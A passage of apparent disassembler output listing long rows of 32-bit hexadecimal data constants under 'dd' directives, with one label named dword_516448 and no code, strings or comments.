		dd 5800BDD4h, 0D7959F3Eh, 25B8EFFh, 8CD80644h, 8A60DBEFh
		dd 0B84C66F7h, 8DED0114h, 1DFC62C2h, 4C193320h,	5C1DBD11h
		dd 736A824Ah, 0D4C039EAh, 373C013Ah, 7F3104EFh,	90A3CA57h
		dd 2C449811h, 45C054C4h, 3467204h, 5E881C50h, 74E1B822h
		dd 0C4E43058h, 58D8DA59h, 0DDB93C60h, 1A390204h, 0C4849FC6h
		dd 6FA1023Ch, 20ADB4EEh, 772FFC80h, 5C619B67h, 8BCB0469h
		dd 92C890D8h, 0B7590054h, 4C6E79AEh, 0C9526376h, 0C4A42618h
		dd 2EE0583Eh, 643024C8h, 1F5FFE4Bh, 4CD05619h, 4668B55Dh
		dd 4954F700h, 28C17AF1h, 400100F8h, 657542F6h, 0D900C672h
		dd 0EC1BC97Dh, 7A358B33h, 54747D8Ch, 17BCD849h,	16B9BDF3h
		dd 9E490096h, 0AE335195h, 0FC8C4009h, 246C070Eh, 0D8CBE2E3h
		dd 5B94A1h, 0AFCFEC76h,	315F3DFAh, 8248B400h, 36EFC22Ch
		dd 74290A39h, 0E43398h,	5492028Bh, 12004917h, 0A05C9DDBh
		dd 7871AF1Bh, 73E42A97h, 7B862C8Ch, 0AE0B8D84h,	2424FDA1h
		dd 9D4DC3E8h, 5EED1628h, 0AA9EF01Dh, 23BE0880h,	839CDBh
		dd 0A63F8BA5h, 5C99C911h, 3E10E700h, 697574E1h,	0D1E20048h
		dd 0B6F2E2Ch, 40083F0h,	0B1FDA9D0h, 87963Fh, 730DEFE2h
		dd 68B2A219h, 0D1ECA509h, 9020034Dh, 0C2BEB03Ch, 0A9340101h
		dd 59A03E29h, 9D25602Eh, 0DAF6AB16h, 52C60C1h, 81C3E543h
		dd 9140BC96h, 0B35417h,	63094FA3h, 12ADCF01h, 0DE2FD504h
		dd 18C09667h, 0EE49D6h,	6AC15111h, 9AFF1478h, 0C02584A0h
		dd 0D101420Fh, 65B1206Dh, 13D4352h, 0F9D5A1C2h,	0E0F07F1Ah
		dd 952C4801h, 0DA00C749h, 1C2FE03Ch, 0AFF71E70h, 18C900ADh
		dd 15FED859h, 503E8B77h, 92061D0Eh, 3A1C8500h, 3B66DA62h
		dd 1B3B51A7h, 8656B500h, 1A8F265h, 9693CD00h, 0A6E8900Bh
		dd 71947AC8h, 9ED9141Fh, 0DC00D4ACh, 0BE1A75F0h, 2FF85069h
		dd 0ACDF6F24h, 6E495F01h, 0AB700C28h, 0D6030076h, 7DFB4F30h
		dd 0A71D7383h, 26803CAAh, 0E0D0293Eh, 12A0A0B0h, 610E3C34h
		dd 994A2700h
		dd 7F7185E8h, 8AC0BB60h, 6225Bh, 0D3659221h, 0A783E78Bh
		dd 3E01AFECh, 3D50958Fh, 0A4417CA6h, 0CFC0BF6Dh, 693100AEh
		dd 52DD322Dh, 0CE26508Eh, 5E1EFFABh, 0DBC03C9Ch, 47A653F5h
		dd 9B2200E8h, 1E8EAA7Eh, 3000B5FCh, 4B72ED7Ah, 0F8701534h
		dd 0D5DA00F2h, 730513B2h, 0ECE0C120h, 0F1398702h, 41C7D4F4h
		dd 6BD8966Ah, 362600C9h, 88F8DE2Eh, 0E4004234h,	0AE7DA66Fh
		dd 50306A8Fh, 0B3BC42Bh, 17D36882h, 2A6BD480h, 2F07DEF9h
		dd 0BF68109h, 20A037C0h, 389A0027h, 56793947h, 1F0FA5DAh
		dd 13758C70h, 99DBC07h,	9C813895h, 31F40B24h, 0B83D03D6h
		dd 0A2185CEEh, 91507CD8h, 0C32CCA00h, 7DF90D02h, 203500FAh
		dd 4F5C584Eh, 0E40041A5h, 3AC8386Dh, 0F5C494h, 0E95B6E69h
		dd 0F483AEF2h, 20D0CC07h, 0BCA0392Eh, 5C3246D3h, 0E67D4923h
		dd 6C510008h, 986542F3h, 730A8F67h, 0E4BA46D7h,	0AAE8A903h
		dd 0AFA0E79Ah, 2C30D52h, 45EB440Fh, 4FC0C5FAh, 13009319h
		dd 0E0696811h, 7307AFh,	4AB9CF71h, 0D02C0E79h, 319F4500h
		dd 50AE528Eh, 93A03AD2h, 5703448Eh, 80CC1D52h, 80C95D36h
		dd 1D004A4Ch, 236B4766h, 0DBC4D2h, 656CED67h, 4B73C181h
		dd 0AA83F501h, 0FD5CCE39h, 0F84A6220h, 8E990069h, 0AC2B17DBh
		dd 50006562h, 689BF8DFh, 0FA3187h, 2A6F188Fh, 304BFCCh
		dd 0DD26B4FCh, 80387098h, 0F0FF2FCFh, 0D1E802h,	5B0B53E7h
		dd 62C5D5F7h, 120550F0h, 0C1EBDB70h, 511BFCC0h,	72C20114h
		dd 0C86CAFCh, 4818B8C3h, 0C9580003h, 7D660C8h, 969648EEh
		dd 0F7008D3Eh, 46D85357h, 147B623Bh, 48DECA3Eh,	0C42902D4h
		dd 40AA73EAh, 68A38Ch, 4FCF678Ah, 9E56270Ch, 0EEA9E300h
		dd 73C9D1ABh, 717B006Dh, 0BB8CE40Dh, 92FA5758h,	0EAD7A800h
		dd 0A76877Eh, 0AA2E3099h, 78EB93A2h, 3FBE3100h,	915AC33Eh
		dd 21A03AD4h, 7D879580h, 269BC457h, 1C378B4Ch, 0E101F520h
		dd 0EAA6CF09h, 0D42DFCh, 0D847D650h, 0C79D0791h, 30761607h
		dd 3E185A0h, 60ECB699h,	73AA0038h, 0C91EA6D0h, 68E40BEFh
		dd 834A7000h, 0BD5CDC5Fh, 530A0B6Bh, 0ECA409EAh, 30CD4035h
		dd 92A51Dh, 0FEC97750h,	565D9671h, 7310A707h, 99C0C837h
		dd 8CA20Bh, 499DE86Eh, 0CAB06DA6h, 30E93F00h, 7C1D4FDh
		dd 6FE70090h, 67A60D69h, 7138BBA1h, 356B003Ch, 0A923C331h
		dd 418F2CD2h, 78AB0333h, 0A8C8CC3Eh, 5F46E82h, 0F1382600h
		dd 0CFAF578Bh, 3FD65CF0h, 0E11CB102h, 0C4F0B0CAh, 2D04361Ch
		dd 9C40BC16h, 4894FA2Eh, 520303A3h, 6A3FCE5Fh, 1D78CB88h
		dd 174AF90Eh, 6BA7C0FAh, 0BA76E87Eh, 8ADA000Ch,	0A626D25Fh
		dd 0FF0065D5h, 80E65921h, 98B2D695h, 93E400AAh,	8BABA9E8h
		dd 0DC9C39C0h, 4DA48F80h, 0C92EC3h, 82665BCFh, 0B35E80D8h
		dd 892C5873h, 0D4809CA3h, 0E5BD46CDh, 3A937DFEh, 0B313FDC4h
		dd 876805C3h, 0E1D0D0B0h, 83026081h, 37CBAEF1h,	0C6840A8h
		dd 751CF686h, 3F7102FAh, 9EFC2690h, 0BC604FE2h,	0AE67F038h
		dd 0E250B0DEh, 6CDC8B8h, 0EAECBC20h, 5703807Bh,	4EFE6690h
		dd 60A0C80Ch, 67DD008Fh, 0C896974Dh, 40C0F352h,	7A7985B7h
		dd 0D630FB71h, 1CF800F7h, 322862B5h, 0EA1CA16Ah, 0FC051CAh
		dd 7316A705h, 0CEC1007Dh, 7752341h, 7F05DFFDh, 3C9B017Bh
		dd 6FC14C0h, 3A7269Ch, 4339005Fh, 14A161D4h, 0B21A9207h
		dd 9CA01812h, 0D85772h,	0FDE46C40h, 0D18F3BFAh,	0ABC69F02h
		dd 0A744E5A1h, 0C64F98BCh, 14110E3Fh, 98CEB822h, 8973D860h
		dd 28E8AEE9h, 9D20D562h, 0AD6DC0BFh, 985C01EBh,	0EB7C73Eh
		dd 6C408C10h, 0EA04297Eh, 4E4500E5h, 0A5FE65B5h, 9600983Ch
		dd 4030BB15h, 3D79539Ch, 9000DDD1h, 41686B54h, 51F74687h
		dd 640AA3E0h, 0AF00BF38h, 0EE1C030Eh, 61C82FAEh, 413130EDh
		dd 0E3B98004h, 94C3C978h, 1B280024h, 47270EF8h,	6602FACh
		dd 0B497FF31h, 2424FB6Ch, 1DBD3B64h, 56F05980h,	67A0BFA9h
		dd 21DE15E8h, 0FE1DEA80h, 0B57DDEh, 0C7E1D0D8h,	263FBFC6h
		dd 69BA5318h, 0FB4428h,	0F89FB7A6h, 2AC464D6h, 9E4D4E38h
		dd 2DCE61DCh, 8C6589F4h, 9A31B3h, 0ECED077Dh, 0F4548167h
		dd 0B96C6300h, 0F2EAAD58h, 0B66398EEh, 7BAC00C4h, 9BEDCDDAh
		dd 7E68C301h, 0DD3AC5CFh, 15CD1CCh, 4C6320Ch, 9F73B9B5h
		dd 1200A461h, 0C850E154h, 0F6F91D40h, 0C05517C7h, 11B59F3Ch
		dd 0A61E8EEEh, 62C01C33h, 180E35C8h, 60CB307Eh,	0CC19DA49h
		dd 9D92109h, 25C01028h,	0FF7C156Bh, 1707DCEDh, 2094370Dh
		dd 7BB563EEh, 3B82F707h, 1332F387h, 0D43C40F9h,	8F6102DBh
		dd 6A0C9C98h, 3DF0F880h, 0C4FA4025h, 0C1C03377h, 0E347E557h
		dd 0A57A001Ch, 7013AAF7h, 63037268h, 1DCDDD67h,	7A19A893h
		dd 0F9D80502h, 393CC0C7h, 21954420h, 8062BC20h,	7EA6CAE1h
		dd 0E61C27h, 0CDCEB725h, 35DCCB5Ah, 65B9B41Bh, 0D2EB8029h
		dd 5B050097h, 0CFF97C0Ch, 0B13B8983h, 0DBCE0049h, 4D04C49Bh
		dd 0D83303C6h, 24DA3DE5h, 0E4B5ECA0h, 55647A00h, 0ACD9A301h
		dd 13870074h, 2A44A73Fh, 0ACABDE29h, 26C09891h,	1DD10350h
		dd 94D058DAh, 197C631h,	0FDF6EE8Ah, 0E82A8540h,	1DF61CA0h
		dd 239AB702h, 81BF82FDh, 42613A94h, 41DA2081h, 0B0528CA9h
		dd 67338E11h, 80E506C4h, 88B2BC6h, 0C47849h, 9033F1EBh
		dd 7D0F197Eh, 63200B9h,	5372D9C2h, 29C07318h, 130B16B3h
		dd 0D55F07DDh, 30373A67h, 145A6F77h, 6D0FDC01h,	1FC9B8Ch
		dd 0F3B49440h, 175800F8h, 2FABD97Fh, 2890CB67h,	32972906h
		dd 12E9B1A3h, 7E9D1A4h,	0E033625Dh, 0F9948D59h,	6329A972h
		dd 0B418A438h, 14042831h, 80261F8Dh, 0FF0948C0h, 0B409944Ch
		dd 0A00804A2h, 0A10EB31Ch, 1110636Fh, 0D1007E91h, 0CFC8C570h
		dd 0F01DFD8h, 5F2EF6E0h, 0B6876180h, 0C0C3897Bh, 0F8CEC58Dh
		dd 2695E5EAh, 12E411F2h, 3818E441h, 3E5CF500h, 8D035AB0h
		dd 534D2883h, 2D2B0F80h, 564C13CBh, 40D79F0h, 8180460Eh
		dd 484D404h, 3350D437h,	433DC466h, 27F2293h, 53333922h
		dd 7CAE25F1h, 8D0F3424h, 0E1802230h, 50C97B0h, 3B537400h
		dd 1ABAD699h, 0E8A11892h, 0E77AE10Fh, 0BBF3518h, 30AB8DF8h
		dd 3CE01253h, 6504CBF5h, 43E49BFCh, 3E57C890h, 0F403D01h
		dd 0F1744980h, 717B0827h, 8D26D903h, 2A213h, 8A25E740h
		dd 7B16A6D2h, 8627EB03h, 0E0505F65h, 2CD49744h,	605C6CF4h
		dd 37D70DDDh, 91AEE821h, 2442071Ah, 5D107BD0h, 694164h
		dd 57A9654Bh, 13AEA111h, 3325D600h, 0A0E13D62h,	18945838h
		dd 8F09B223h, 9430881Dh, 985B1826h, 0EBD0F4h, 0D9EA7641h
		dd 5F11AFBDh, 7BA736C5h, 0DF028002h, 9F8C60D7h,	104C40A3h
		dd 21B29100h, 2A414428h, 0C350C34Bh, 3A9771CCh,	3A9B00ACh
		dd 0ADC6A6EEh, 5CCBBD00h, 25F533D2h, 841601CDh,	0E3F474D6h
		dd 11204E3Ch, 6D86DFA9h, 1500B9A4h, 5EF01A0Ch, 17227A7h
		dd 3431E5B5h, 552540ACh, 0DEF300A0h, 1D92BE69h,	71AFB900h
		dd 605DB8ADh, 62F71DA2h, 5F5701B5h, 0E0721D0Bh,	3F7BCF4Bh
		dd 68B88D95h, 96FA040Bh, 5F50381Fh, 46874005h, 0C664D409h
		dd 0CD0029C6h, 4CB5E6ADh, 0FA5132D6h, 56904BAEh, 0A2F81424h
		dd 0F185F31Eh, 0F41E4059h, 300A773h, 0BED3AA49h, 79C30E5Eh
		dd 1D75012Fh, 0D8C5DF7Ch, 8776E486h, 824E80CBh,	1BBAF1D4h
		dd 0E11812D8h, 98C93021h
		dd 0C0B32198h, 833F1100h, 3A628B9Eh, 84750601h,	0A17C9178h
		dd 52E2CC00h, 0AEF58313h, 0CD481759h, 557800DFh, 0BAEEE978h
		dd 0B56044h, 0E4844F32h, 0DA3E8EA5h, 571C5BE8h,	1F49B4D9h
		dd 0A08C89B5h, 0E439242Ch, 0F40E00B2h, 0A30ACFE2h, 0E60F6289h
		dd 998738h, 0C5CE38Ah, 0A5BC0650h, 6961B7D4h, 7E85E039h
		dd 16773504h, 0CCC8DFC1h, 25F1E2B2h, 0F4208AEEh, 1E91D5A2h
		dd 0A0A1AD00h, 5B39D22Eh, 6A3C1FEBh, 0AA890046h, 0CF7E2C8Dh
		dd 0F0ACAE29h, 2A888036h, 0E413A3h, 475D1248h, 0DD60173Bh
		dd 22E48C39h, 99D0173h,	0AF8A86A3h, 19D3FC1Dh, 0B87B5800h
		dd 5939848Ch, 37AE28A2h, 2A0D0130h, 0BFC864D9h,	0BD08D814h
		dd 31800894h, 7B45C7DFh, 674A8Ah, 9A320FD4h, 90004096h
		dd 730BB9CBh, 98E2D875h, 8D9135FCh, 0CCEC29h, 1B853F17h
		dd 0CDE745h, 13B8D9E4h,	5D3C7B78h, 9883E10Bh, 7C10004Ch
		dd 6087F3D6h, 0B0B248E5h, 6D05503Ch, 0B9EED2D5h, 81F4D40Eh
		dd 5CD1CF7Dh, 65F79440h, 2390AA0Ch, 0E27F6FE4h,	0B14A1C7h
		dd 2CD0D68Ah, 0AB93009Bh, 64E942BCh, 4A705855h,	877BB800h
		dd 7EA08B13h, 5CC6FA2Dh, 502CDC9Fh, 0AA340047h,	250B0CDEh
		dd 2F17E57Fh, 0A0307AE4h, 7EE0FB93h, 0A59A00C2h, 0B96A9503h
		dd 0A60EAF15h, 0EA3C5F0Bh, 0DE80A87Ah, 0FFAB5E53h, 0CCC209E8h
		dd 0BA0ACA41h, 0B9B60898h, 7D125D60h, 0C80821E1h, 34F88h
		dd 0C311B6BAh, 0EA2570F2h, 47D0A0B9h, 7A8ADBh, 387429AAh
		dd 13C2D973h, 59E40F73h, 7D0A6300h, 0A33CE92Dh,	7180BAF7h
		dd 0BC2C00CFh, 0B260AF1Ah, 0D004B613h, 0C3595412h, 905A5980h
		dd 2B7FCA9h, 0C199D786h, 5890B204h, 51081269h, 66C968E1h
		dd 0BE00217Ch, 2B6E11CDh, 2C72239Fh, 41983787h,	10AEB7B0h
		dd 0A79156h, 0D5CE50FEh, 81195AEFh, 3E122700h, 1697BDB3h
		dd 11B17AEh, 5C080E6Dh,	0FEEF2FE0h, 0A20C686Bh,	58AC77F9h
		dd 3D889191h, 45CB7400h, 2A3D1CDFh, 0F2B8F27Ch,	4DE1C01Dh
		dd 4024DB89h, 8084A5C4h, 0F07EC9BFh, 1145B700h,	742AC254h
		dd 0E5570983h, 50008223h, 71CA267Eh, 0F4882C61h, 1C39A456h
		dd 954C0600h, 63EE3EF6h, 71B33D03h, 0C0F4A6D3h,	48529C2Ch
		dd 0B4C154BCh, 0A999AEA0h, 0F4005808h, 0E8A2B2B3h, 0EFD492C6h
		dd 68891083h, 2BA1A1DDh, 0A4384063h, 25F85AD8h,	0A10AD4BAh
		dd 1CD52EDFh, 1421F996h, 18569C2Bh, 4C0D3610h, 0C436A149h
		dd 0B0681141h, 0BC4F2678h, 0C8004F6Ch, 0C633C132h, 2753119h
		dd 7AF987B0h, 0A2B4B850h, 8F589EF3h, 0E71F2137h, 81137899h
		dd 854E7F61h, 7AF4E13Dh, 62BE2C1Fh, 0D0B81320h,	0EF487120h
		dd 9FFB1D00h, 0DD8791CDh, 7DA1CF8Bh, 40297E2Dh,	36CCC1FCh
		dd 88A8C048h, 125EC0BFh, 0E021E156h, 219698C7h,	110EB7A5h
		dd 0A0A06C6Fh, 7D4B4704h, 30984557h, 60A276A8h,	4E001C52h
		dd 71D1F1FCh, 242013h, 0B42B635Fh, 0E6A0CB8Ch, 242CC848h
		dd 7F081C7Ch, 68910C76h, 460027C1h, 6F1283BDh, 2CF24A2Fh
		dd 0B8A438Ch, 0B8C0DDB7h, 7C9AB278h, 0A32A14A6h, 9800A09Fh
		dd 39D932Ch, 1229BD09h,	535AA1A4h, 38405410h, 0B79B09C1h
		dd 8FD18087h, 5091630Bh, 0E04009C6h, 0E80E746h,	564EB06Dh
		dd 5748BC60h, 347E6688h, 0A2396823h, 5077BF8h, 504A8906h
		dd 0C60E351h, 752A060h,	69AF25C6h, 997302D3h, 7470BCD1h
		dd 0C85186ACh, 4463ADh,	73E1B234h, 286824E5h, 0BC6F6Ah
		dd 60F0D338h, 80D5502Bh, 64E44A09h, 0D9E4106Dh,	9DF055h
		dd 0F612CF8Ch, 6D331AD6h, 8E1DF301h, 93F9FD8h, 2C689980h
		dd 0A6D70885h, 431F1617h, 9C808C25h, 342DB36h, 7D097A1Ah
		dd 991DFCC0h, 23B11EEh,	32627BAFh, 4F604065h, 0A58212E1h
		dd 90F0C010h, 0EE80D950h, 0FCA818C4h, 0F43D4078h, 86627C06h
		dd 6386BA7h, 0BB4AAEEEh, 3E1410C9h, 1E242097h, 73807AADh
		dd 25D61684h, 0F4DD2995h, 0EB240018h, 17978256h, 3FB01D18h
		dd 7B70D8C0h, 69F101B9h, 8BDC9DADh, 9EE8F435h, 0E057B000h
		dd 0D33A8DD8h, 37CB0F8h, 5F68E249h, 0D7F89E50h,	350272B1h
		dd 0D1C8E82Ah, 18B043A0h, 0F1CA6AB9h, 0DE28C25Bh, 3C809CE4h
		dd 5F0C85D4h, 1176EEC3h, 0A5D91E44h, 0CE2100EFh, 8A5C4243h
		dd 948000B6h, 485259DBh, 0AB35003Fh, 7B8D2532h,	7A0FE1F4h
		dd 457D116h, 0A4807803h, 0B5E4B64h, 0D4D0831Fh,	0D210D824h
		dd 0F8E0F040h, 6C4C5173h, 97958344h, 5401D09Dh,	5A0F2C0Ch
		dd 0E7F402E9h, 0D0C41C99h, 0F7B78405h, 0A803A345h, 0DAE87572h
		dd 6CEC1Ah, 2DB47DCDh, 0F7AD9D0Dh, 0C87BAC0Fh, 65168B2Eh
		dd 290E250h, 1BDBBE18h,	0C8FFEFF3h, 0E86EBF89h,	983D064Fh
		dd 60C1947Bh, 442600B4h, 3C0A5916h, 1B0C00CAh, 2D0B8302h
		dd 2400368Bh, 220FE84Bh, 1F12E89h, 86CAD194h, 0D00A07E6h
		dd 809781B2h, 55A25EFDh, 24BE00A0h, 8F231F1Ch, 6803353Bh
		dd 47C52B90h, 0B022DBC7h, 20757Ah, 5FFA7841h, 2A53ACC2h
		dd 0BC333C00h, 229FB68Bh, 1B483980h, 0B75A1Eh, 0B8BF8E56h
		dd 5D6372FEh, 123FA968h, 0D02A08h, 2B109223h, 5733B4Ah
		dd 986CFE00h, 59B56DA2h, 328000Fh, 40DA4777h, 99066EEEh
		dd 2CC751B1h, 0E9E20719h, 0B6A0883Bh, 26005948h, 0C08CEB61h
		dd 778A89h, 0F1566079h,	0AA589D71h, 0DDC1D500h,	0A8BF0E9Ah
		dd 0D81B65C2h, 3D99043Ah, 467C8020h, 0EC70D15Eh, 20597630h
		dd 0E43F8Fh, 255BAEFAh,	6560C06Ch, 8E064FF8h, 0FF38F41Fh
		dd 5CBA9010h, 7A743D66h, 0F9A860B9h, 247FC20Bh,	75C7B8DEh
		dd 70C15F5Bh, 3DC8F2B4h, 80286080h, 0E49FB5B0h,	9591E00h
		dd 0ACCB15CCh, 713E00CDh, 0A188CDAh, 400BAB2h, 0A012BB92h
		dd 30B93Ch, 404697E9h, 7E1A2ED4h, 4DDE2C00h, 0E339C736h
		dd 199600D3h, 0C2CB4BC9h, 3400596Eh, 0CFDF01D8h, 0D580F8Fh
		dd 0C1E685Ch, 0F049E058h, 18404532h, 0E8AA4313h, 0DC5780h
		dd 2196A59Bh, 0B9069CCAh, 2F2E0F0Fh, 0C3876079h, 563452h
		dd 0E7DCB2E4h, 49F3241h, 0D40F390Eh, 0FD4B2F58h, 0AB69BB00h
		dd 12C6EDh, 0A0ADD17Ch,	0C2E45CFBh, 39374F30h, 92D907h
		dd 9AC14711h, 0A1A7C778h, 0D8CFC918h, 0BD619h, 5877D795h
		dd 0D10F949Eh, 26ED3Ah,	2A2304C1h, 0C0CDF2B7h, 4393EA11h
		dd 0DB00E688h, 291EA40Ah, 6FBCFEBh, 6A3DCED6h, 0AE3CFEC4h
		dd 30FC266Bh, 93513B00h, 0DE0D0Fh, 366312C5h, 0E8DC24A2h
		dd 77CE4F00h, 44FC1FCFh, 5A7C0083h, 0E93CA680h,	6100DB58h
		dd 0C7488AD3h, 3F93F2D8h, 0AF8050AEh, 0B2AA2267h, 9424F816h
		dd 3200C2CCh, 29BE4ACh,	4FC6002Ch, 0D8AE6AF9h, 5701AF55h
		dd 0E4E30B6Dh, 208C0497h, 2550F507h, 0A7330DE8h, 0D8271110h
		dd 0E7BA8h, 4F128FBBh, 1C14468Ch, 0ED20FF60h, 35A810h
		dd 9F408EEAh, 46F5B9F3h, 58C71A7Bh, 0C86031E8h,	6564CBFh
		dd 7077996Ch, 331E70AEh, 0F64015C1h, 834C433Fh,	4B301851h
		dd 9701218Bh, 95045690h, 1A7D6B70h, 2A1B3381h, 0F49DEAFCh
		dd 4B8C187Eh, 71553094h, 5CF6FB00h, 9E23B030h, 7A08C62Fh
		dd 3540206Ch, 0A0430F8Eh, 0A0DB782Ch, 9B6CF03Eh, 0B010A473h
		dd 0C027BEh, 454E43A1h,	2DE0E61Eh, 37464C01h, 9871B828h
		dd 0E060F1D0h, 9E1E0081h, 0C14FF3C7h, 4800F7C6h, 0B59A779Dh
		dd 1F66482h, 0F615038h,	0F0CFF516h, 0C917E055h,	8200663Dh
		dd 0D28E875Fh, 0CBFC1FBAh
dword_516448	dd 53A7007Eh, 0CC401A29h, 9000F1F0h, 0E21D164Ah, 0F877A6h
		dd 0E476DFF5h, 748EE07Dh, 2C0BAA3Eh, 8100DF3Dh,	60728762h
		dd 0A6550098h, 9752CCBDh, 3700C56Fh, 0A94D30A4h, 0EA7C676Dh
		dd 0E06E7CEDh, 0C04501E8h, 0AA826350h, 1E98E02Dh, 38624200h
		dd 696FFECDh, 575C5h, 0D396E18Fh, 11AE1BCFh, 0B05C58C3h
		dd 0A0D868CDh, 0F3296304h, 672BDDE8h, 0FED880F9h, 0F17F59B9h
		dd 298043Ch, 1D5A72CBh,	0C0616D8Fh, 361BDD16h, 0C28E0F69h
		dd 7F80FC76h, 0E5F511F3h, 0E9B7831Dh, 0D605BD40h, 1029A98h
		dd 290CF178h, 40CA2E69h, 0B43D2A28h, 0D1180B60h, 0C0BF164Dh
		dd 0F9445399h, 10C2BD7Ch, 0B092692Dh, 6D52C60h,	3CF445EFh
		dd 0CA20A80Ch, 3478E061h, 580D1Eh, 7D5EE690h, 56039E9Ah
		dd 0E81094D5h, 0DB9101ECh, 0D28DAA13h, 9E7C42AFh, 0B7F384B3h
		dd 85B57903h, 50BBDC2h,	2E1657F0h, 0D2844F14h, 80CE5564h
		dd 30295E08h, 4884CA2Ah, 0E10B8D21h, 875A11F1h,	4302A449h
		dd 0E38B83Eh, 4CFA80h, 7FF27EA3h, 7206989Fh, 9BF181C2h
		dd 3FC42D1h, 988B3718h,	3F6602FCh, 82B04AB4h, 0BF306459h
		dd 184E39C0h, 14906651h, 0CCE6C010h, 97AAB481h,	1048C3F2h
		dd 40A300E7h, 0ADF796A8h, 0AA4C282Bh, 9928C084h, 0E94FA0FEh
		dd 79FA09F4h, 7C3DDF00h, 674A8FE8h, 1180F926h, 1035A08Ah
		dd 8CF816D8h, 8B78CB05h, 0D04F5126h, 60112404h,	7333090h
		dd 0DC100A81h, 48A0264Fh, 0DD2707F8h, 906AA4ACh, 5AC00A00h
		dd 4D947D18h, 0C0A2E298h, 3B2F0FA1h, 3C0052E3h,	79F1D164h
		dd 231F980h, 0A581E469h, 68C08CB4h, 4FFAEDFBh, 8914B00h
		dd 12E9AC10h, 4A60C599h, 54407822h, 3D948719h, 4048E468h
		dd 529D01D2h, 0D378687Ch, 5A64207Dh, 304183Bh, 6726B755h
		dd 2B99A897h, 2868929Bh, 90547E4Fh, 0EA4A0650h,	594B2B97h
		dd 99E81FEAh, 0E33FA890h, 0A4B50C65h, 0FED8D04Ah, 0B1B660CAh
		dd 8114E8D4h, 2A100F4Dh, 0EAA10C60h, 0FD199F6Dh, 6C0C0861h
		dd 716EE40Ch, 9A523BDAh, 7F663B80h, 4CE322B3h, 518E9E03h
		dd 0A023D0A2h, 39D368A9h, 4A007DD1h, 0B9ECC5F1h, 9900A767h
		dd 3616E5F2h, 4D060E94h, 0CA267839h, 4157A44h, 5CA580FFh
		dd 0CAF8B6C9h, 0D1203Eh, 324A468Dh, 7BBA7269h, 5DE60918h
		dd 8480FD83h, 731944F7h, 1FAF3D06h, 422833D2h, 0BA911B6h
		dd 11126811h, 0E238E0E9h, 0E820ACC4h, 4BCC3E57h, 0C220F0C0h
		dd 3DE4234h, 7ED0D602h,	2351FAF7h, 5121DFDBh, 101F0CAAh
		dd 8CF39429h, 0C92D2379h, 6614A0A6h, 45788806h,	360851DCh
		dd 82921035h, 1C5BB6Eh,	171ED1Ch, 29BA0E05h, 3300E020h
		dd 0F8A2D55Dh, 3A93AADDh, 57800B75h, 0F50EAD2Eh, 0C5FEB864h
		dd 0C3B2DB00h, 0C64CA5ABh, 95E048h, 74A3A0B1h, 0EE56DD23h
		dd 9E01C200h, 1F609697h, 0DFF27Dh, 6A376217h, 0ABD3DA0Fh
		dd 68438D00h, 0D438CAB5h, 0CCED007Eh, 0A690F73Fh, 0FD392708h
		dd 11BC8098h, 0CB488A8h, 16E7CEBh, 0BEDF231Ah, 307E0DCFh
		dd 8E005EACh, 1B4539DDh, 0F94CF6h, 0DF718C26h, 2C79999Ch
		dd 0C5670100h, 0A9B76BFAh, 0C83400B9h, 0B09B0A7h, 891F17E7h
		dd 0D81FAA67h, 35331B80h, 2CA545h, 0AF04087h, 0FE46B47Ch
		dd 0A9EBE203h, 0ABE38E3Dh, 0AB35C824h, 2DE80034h, 0A8BE58BAh
		dd 0A4131E41h, 0F0058D89h, 0F5C06DBCh, 0B1C64Ah, 0F29237Fh
		dd 1EFF5E7h, 30B8CB13h,	8511E801h, 42ECC1EAh, 567A51h
		dd 3F2586FEh, 0C0DFC440h, 88547400h, 0BDB1DC2h,	3C1B000Eh
		dd 546D809h, 380004A9h,	1DA3EA15h, 0E4BA2ECh, 3666871Eh
		dd 1A78CC60h, 210042B0h, 0DBF650E5h, 177B351h, 734ADD88h
		dd 40612827h, 2A0987B1h, 0FC7D0100h, 17B3A3ADh,	0A1E60059h
		dd 557EF196h, 0BF7958B4h, 3C37DA30h, 0A439BDh, 0C5D0345Ah
		dd 91C3F2CDh, 0D6BD600h, 749FA170h, 179705B6h, 81E98BA3h
		dd 0FE215560h, 0F9C69741h, 63EEC81h, 3D017FF8h,	3FC5AA18h
		dd 0A1712CE0h, 27FCECh,	0B0926F88h, 0A7DB9EE8h,	916BB200h
		dd 87BF1D63h, 3538007Fh, 0CB5B73Eh, 2100954Eh, 546E6C07h
		dd 8C5DA1h, 17745EABh, 0B929C31h, 0A4C601Eh, 0D30355ACh
		dd 0D8BBFF56h, 750E2EDh, 0E890F4EAh, 9BDD10E7h,	5B034CDEh
		dd 0AD15BE02h, 0D9C2A05Ch, 392C90A8h, 12FA8837h, 98CF6h
		dd 97FC4A14h, 9CE0AED5h, 0CC1F5700h, 0D90DE7AAh, 0B2FA00C8h
		dd 3423A55Fh, 0AC0356CDh, 70E353D2h, 6309D949h,	731F5C30h
		dd 94DB00BEh, 0E1712DE4h, 61006A1Bh, 0C0F9CDD3h, 0C4DB59Fh
		dd 0DE593C4Eh, 7A06B619h, 5FF4F853h, 0E9110010h, 0AC92EEF9h
		dd 6E004C89h, 0BF02C0DBh, 3CA651h, 0A598BA7Bh, 2F2733BDh
		dd 0F52DCA38h, 0B8C8353Ch, 9F28871Fh, 0C270BB9Bh, 0CB0BD7h
		dd 47F186ECh, 0B448BC3Fh, 4D52B200h, 411ADC55h,	0CF310764h
		dd 40F751F4h, 0CE7D2CBCh, 22E3500h, 899AD046h, 40B200ACh
		dd 217333BFh, 7500BC5Eh, 0BE3CE949h, 8E7BC1h, 35679A8Ch
		dd 0AADB9277h, 0C9BC7900h, 9B39526Dh, 335B005Ch, 0D971D62Ch
		dd 0C83EEF53h, 0A84703F5h, 0DB0EC480h, 969EB850h, 0B2C90079h
		dd 6009F79Ah, 6002251h,	0B0662735h, 48A2318Eh, 0F10FA437h
		dd 0A7C05868h, 0C2103CC5h, 8800077Bh, 46633FF2h, 0EC6C5DEBh
		dd 3AD89741h, 45D424E1h, 360C1500h, 90C89AB7h, 21A50171h
		dd 0C05195D4h, 0CDF721A3h, 0AC80DA7Eh, 0B5D7ED01h, 7277D900h
		dd 6510E35Dh, 0A6130047h, 30E69E6Fh, 410260A9h,	0E716D0FAh
		dd 9AED6168h, 15A3030h,	5E9E8273h, 0F4CD54CCh, 0C3A04AEDh
		dd 67380C02h, 1B630057h, 9AE7EE8Fh, 71B8A147h, 0F90ECCh
		dd 0BBE61C5Fh, 0E197D306h, 85A49E3Bh, 0FE5C2999h, 287A5780h
		dd 0C4DA0E0Dh, 875DF321h, 1606F74h, 0EC173BEBh,	0A0E2F2BAh
		dd 7FB87550h, 0FD00FE98h, 183E19FCh, 95702Fh, 46F9F60Ch
